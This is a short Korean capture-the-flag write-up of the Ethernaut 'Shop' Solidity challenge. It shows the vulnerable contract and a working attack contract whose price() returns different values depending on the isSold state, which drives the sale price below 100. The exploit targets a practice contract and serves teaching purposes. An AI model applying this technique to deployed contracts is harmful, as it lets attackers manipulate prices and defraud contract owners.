// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
이 문제는 Buyer interface에 맞게 구현된 컨트렉트를 작성하여 buy() 함수를 호출하는데 price에 값을 100보다 작게 만들면 풀리는 문제이다.
price() 함수에 리턴은 100보다 커야 한다.price() 함수에 리턴은 100보다 작아야 한다.이 조건을 만족하는 컨트렉트를 작성하면 다음과 같다.
contract attack {
Shop public target = Shop(0xfd59F76337f1BFfE263AFc1E9E7A38e5C6C3A8B4);
function atk() public
{
target.buy();
}
function price() external view returns (uint)
{
return target.isSold() ? 0 : 100;
}
}
이 문제의 핵심은 view function에서 같은 조건에서 실행되는 함수가 return 값을 다르게 하려면 어떻게 해야할지 그 벡터를 찾아내는 것이 중요했다.
solidity 에서 public 변수는 사용자가 getter 함수를 따로 만들지 않더라도 자동으롱getter 함수가 만들어진다. 필자는 이를 이용하여 isSold 변수에 값이 두 번째 price() 호출 이전에 바뀌는 것을 이용하여 문제를 해결하였다.